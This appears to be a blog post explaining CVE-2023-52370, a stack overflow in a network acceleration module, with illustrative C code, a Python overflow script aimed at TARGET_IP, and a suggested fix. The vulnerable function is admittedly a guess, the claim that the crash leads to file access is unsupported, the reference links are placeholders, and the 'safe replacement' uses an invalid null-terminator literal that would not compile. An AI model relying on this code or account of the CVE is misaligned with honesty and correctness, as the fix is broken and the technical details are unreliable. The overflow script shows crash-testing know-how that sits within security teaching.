CVE-2023-52370 - Stack Overflow Vulnerability in Network Acceleration Module Exposes Files

In early 2024, security researchers uncovered a serious stack overflow vulnerability labeled CVE-2023-52370. This vulnerability was found in a network acceleration module used by several networking devices and software solutions. If exploited, an attacker could potentially gain unauthorized access to files, leading to data breaches. In this post, we’ll break down the vulnerability in simple terms, explain how it can be exploited, and share references and code snippets.

What Is CVE-2023-52370?

CVE-2023-52370 refers to a stack overflow bug in a specific function of the network acceleration module. A stack overflow happens when a program writes more data to a block of memory, called the stack, than it is supposed to hold. This can let attackers overwrite important data, causing unexpected behavior — often allowing them to execute their own malicious code.

The risk? If an attacker triggers this vulnerability, they might read or access files that should be off-limits, risking user privacy and sensitive information.

Some third-party applications that use the affected code

The specific vendors and products may be listed on NVD - CVE-2023-52370 and Exploit Database.

The vulnerable function looks something like this (in C language)

void process_packet(char *input) {
    char buf[256];
    // ... some code ...
    strcpy(buf, input); // Dangerous - no size check!
    // ... some more code ...
}

buf has a fixed size of 256 bytes.

- If input is longer than 256 bytes, it will overwrite the stack, including parameters, return address, or other sensitive data.

Exploit Details

A malicious user can craft a specially formed network packet or API request containing more than 256 bytes of data. When the affected software processes this packet via process_packet, the extra data will overflow the stack.

Suppose an attacker sends the following Python script to the vulnerable server/service

import socket

host = "TARGET_IP"      # e.g., 192.168.1.1
port = 12345           # Port where the service listens

# Construct payload: 300 bytes 'A', possibly leading to stack overflow
payload = b"A" * 300

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(payload)
s.close()

Read memory locations, including directory listings or file contents

If the crash or exploit comes with leaked information, attackers can access unauthorized files.

Links to Original References

- NVD - CVE-2023-52370
- Exploit Database: CVE-2023-52370 *(If available)*
- Rapid7 Vulnerability & Exploit Database
- [Official Vendor Advisory](#) *(Check with your network device vendor for advisories or firmware updates.)*

How to Fix

The best fix is to update your device firmware or software if your vendor has released a patch. Vendors should replace unsafe functions like strcpy with safer alternatives such as strncpy, ensuring that no more than buf's capacity is used.

Safe replacement example

void process_packet(char *input) {
    char buf[256];
    strncpy(buf, input, sizeof(buf)-1);
    buf[255] = '\'; // Make sure it is null-terminated
}

Conclusion

CVE-2023-52370 shows how even a simple stack overflow can be dangerous. Whether you’re a network admin or a home user, make sure to patch any devices as soon as updates are available. Awareness and swift actions can prevent attackers from gaining unauthorized file access.

Timeline

Published on: 02/18/2024 04:15:07 UTC
Last modified on: 08/01/2024 13:45:37 UTC